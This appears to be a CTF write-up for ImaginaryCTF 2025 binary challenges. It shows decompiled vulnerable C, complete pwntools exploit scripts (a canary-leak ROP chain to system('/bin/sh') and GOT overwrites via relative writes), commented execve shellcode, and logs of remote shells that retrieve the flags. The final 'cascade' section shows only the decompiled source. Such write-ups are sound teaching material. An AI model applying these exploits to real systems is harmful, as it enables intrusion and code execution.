# ImaginaryCTF 2025 ## baby bof ```c int __fastcall main(int argc, const char **argv, const char **envp) { char v4[56]; // [rsp+0h] [rbp-40h] BYREF const void *v5; // [rsp+38h] [rbp-8h] const void *retaddr; // [rsp+48h] [rbp+8h] v5 = (const void *)__readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); puts("Welcome to babybof!"); puts("Here is some helpful info:"); printf("system @ %p\n", &system); printf("pop rdi; ret @ %p\n", &loc_4011BA); printf("ret @ %p\n", nullsub_1); printf("\"/bin/sh\" @ %p\n", sh); printf("canary: %p\n", v5); printf("enter your input (make sure your stack is aligned!): "); gets(v4); printf("your input: %s\n", v4); printf("canary: %p\n", v5); printf("return address: %p\n", retaddr); return 0; } ``` ```python #!/home/l3mnt2010/new/env/bin/python3 from pwn import * import struct exe = ELF("./vuln") exe = exe context.binary = exe context.arch = 'amd64' context.bits = 64 #context.log_level = 'debug' info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): if not args.REMOTE and not args.SSH: gdb.attach(p, gdbscript=''' b* main c ''') if args.SSH: r = ssh('user', 'host', password='pass', port=2226) p = r.process('/path/binary') elif args.REMOTE: p = remote("babybof.chal.imaginaryctf.org", 1337) else: p = process([exe.path]) # shellcode_32 = asm(''' # xor eax,eax # push eax # push 0x68732f2f # push 0x6e69622f # mov ebx,esp # push eax # push eax # pop ecx # pop edx # mov al,0xb # int 0x80 # ''') # shellcode_64 = asm(''' # mov rbx, 29400045130965551 # push rbx # mov rdi, rsp # xor rsi, rsi # xor rdx, rdx # mov rax, 0x3b # syscall # ''') # GDB() p.recvuntil(b'system @ ') system_adr = p.recvline().strip() system_adr = int(system_adr, 16) print("system address:", hex(system_adr)) p.recvuntil(b'pop rdi; ret @ ') pop_rdi = p.recvline().strip() pop_rdi = int(pop_rdi, 16) print("pop rdi address:", hex(pop_rdi)) p.recvuntil(b'ret @ ') ret = p.recvline().strip() ret = int(ret, 16) print("pop rdi address:", hex(ret)) p.recvuntil(b'"/bin/sh" @ ') bin_sh = p.recvline().strip() bin_sh = int(bin_sh, 16) print("/bin/sh address:", hex(bin_sh)) p.recvuntil(b'canary: ') canary = p.recvline().strip() canary = int(canary, 16) print("canary address:", hex(canary)) payload = 56 * b'a' payload += p64(canary) payload += p64(0) payload += p64(ret) payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(system_adr) sa(b'enter your input (make sure your stack is aligned!): ', payload) p.interactive() ``` ```c ┌──(env)(l3mnt2010㉿ASUSEXPERTBOOK)-[~/new/JHTpwner/imgCTF2025/babybof] └─$ ./sol.py REMOTE [*] '/home/l3mnt2010/new/JHTpwner/imgCTF2025/babybof/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to babybof.chal.imaginaryctf.org on port 1337: Done system address: 0x7d3d939a1110 pop rdi address: 0x4011ba pop rdi address: 0x4011bb /bin/sh address: 0x404038 canary address: 0xcaec1b967f05f000 [*] Switching to interactive mode $ ls your input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa canary: 0xcaec1b967f05f000 return address: 0x4011bb $ ls chal flag.txt $ cat f* ictf{arent_challenges_written_two_hours_before_ctf_amazing} $ ``` flag: `ictf{arent_challenges_written_two_hours_before_ctf_amazing}` ## addition ```c int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { __int64 v3; // [rsp+0h] [rbp-30h] char s[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); setbuf(stderr, 0LL); puts("+++++++++++++++++++++++++++"); puts(" WELCOME TO ADDITION"); puts("+++++++++++++++++++++++++++"); do { write(1, "add where? ", 11uLL); fgets(s, 16, stdin); v3 = atoll(s); write(1, "add what? ", 10uLL); fgets(s, 16, stdin); *(_QWORD *)((char *)&buf + v3) += atoll(s); } while ( v3 != 1337 ); exit(0); } ``` ![image](https://hackmd.io/_uploads/r1J57Z25ge.png) ```python #!/home/l3mnt2010/new/env/bin/python3 from pwn import * import struct exe = ELF("./vuln_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.arch = 'amd64' context.bits = 64 #context.log_level = 'debug' info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): if not args.REMOTE and not args.SSH: gdb.attach(p, gdbscript=''' b* main c ''') if args.SSH: r = ssh('user', 'host', password='pass', port=2226) p = r.process('/path/binary') elif args.REMOTE: p = remote("addition.chal.imaginaryctf.org", 1337) else: p = process([exe.path]) # shellcode_32 = asm(''' # xor eax,eax # push eax # push 0x68732f2f # push 0x6e69622f # mov ebx,esp # push eax # push eax # pop ecx # pop edx # mov al,0xb # int 0x80 # ''') # shellcode_64 = asm(''' # mov rbx, 29400045130965551 # push rbx # mov rdi, rsp # xor rsi, rsi # xor rdx, rdx # mov rax, 0x3b # syscall # ''') # GDB() def addition(a,b): sla(b'add where? ', str(a).encode()) sla(b'add what? ', str(b).encode()) setbuf_off = exe.got.setbuf - exe.sym.buf stderr_off = exe.sym.stderr - exe.sym.buf exit_off = exe.got.exit - exe.sym.buf sys_off = libc.sym.system - libc.sym.setbuf sh_off = next(libc.search(b"/bin/sh")) - libc.sym._IO_2_1_stderr_ main_off = exe.sym.main - 0x1080 addition(setbuf_off, sys_off) addition(stderr_off, sh_off) addition(exit_off, main_off) sla(b'add where? ', b'1337') sla(b'add what? ', b'1337') p.interactive() ``` ```c ┌──(env)(l3mnt2010㉿ASUSEXPERTBOOK)-[~/new/JHTpwner/imgCTF2025/addition] └─$ ./solve.py REMOTE DEBUG [*] '/home/l3mnt2010/new/JHTpwner/imgCTF2025/addition/vuln_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' SHSTK: Enabled IBT: Enabled Stripped: No [*] '/home/l3mnt2010/new/JHTpwner/imgCTF2025/addition/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [*] '/home/l3mnt2010/new/JHTpwner/imgCTF2025/addition/ld-linux-x86-64.so.2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] Opening connection to addition.chal.imaginaryctf.org on port 1337: Done [DEBUG] Received 0x1e bytes: b'== proof-of-work: disabled ==\n' [DEBUG] Received 0x5b bytes: b'+++++++++++++++++++++++++++\n' b' WELCOME TO ADDITION\n' b'+++++++++++++++++++++++++++\n' b'add where? ' [DEBUG] Sent 0x4 bytes: b'-89\n' [DEBUG] Received 0xa bytes: b'add what? ' [DEBUG] Sent 0x8 bytes: b'-226048\n' [DEBUG] Received 0xb bytes: b'add where? ' [DEBUG] Sent 0x3 bytes: b'-9\n' [DEBUG] Received 0xa bytes: b'add what? ' [DEBUG] Sent 0x8 bytes: b'-270344\n' [DEBUG] Received 0xb bytes: b'add where? ' [DEBUG] Sent 0x4 bytes: b'-65\n' [DEBUG] Received 0xa bytes: b'add what? ' [DEBUG] Sent 0x4 bytes: b'361\n' [DEBUG] Received 0xb bytes: b'add where? ' [DEBUG] Sent 0x5 bytes: b'1337\n' [DEBUG] Received 0xa bytes: b'add what? ' [DEBUG] Sent 0x5 bytes: b'1337\n' [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0xe bytes: b'chal\n' b'flag.txt\n' chal flag.txt $ cat f* [DEBUG] Sent 0x7 bytes: b'cat f*\n' [DEBUG] Received 0x2a bytes: b'ictf{i_love_finding_offsets_4fd29170cb90}\n' ictf{i_love_finding_offsets_4fd29170cb90} $ ``` flag: `ictf{i_love_finding_offsets_4fd29170cb90}` ## cascade ```c int __fastcall main(int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); vuln(); return 0; } ``` ```c ssize_t vuln() { char buf[64]; // [rsp+0h] [rbp-40h] BYREF return read(0, buf, 512uLL); } ```